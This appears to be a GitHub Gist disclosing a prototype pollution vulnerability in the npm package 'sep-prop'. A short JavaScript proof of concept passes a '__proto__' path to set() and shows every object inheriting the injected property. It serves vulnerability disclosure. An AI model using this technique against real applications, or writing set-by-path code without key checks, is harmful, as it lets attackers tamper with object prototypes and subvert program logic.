Created
July 18, 2023 10:11
-
-
Save miguelafmonteiro/3a172c75a582e28eb43b593b923b2b2e to your computer and use it in GitHub Desktop.
Affected versions of this package are vulnerable to Prototype Pollution. The function set() (index.js#67) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const sep = require('sep-prop'); | |
console.log({}.polluted); | |
sep.set({}, "__proto__/polluted", "Polluted!"); | |
console.log({}.polluted); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment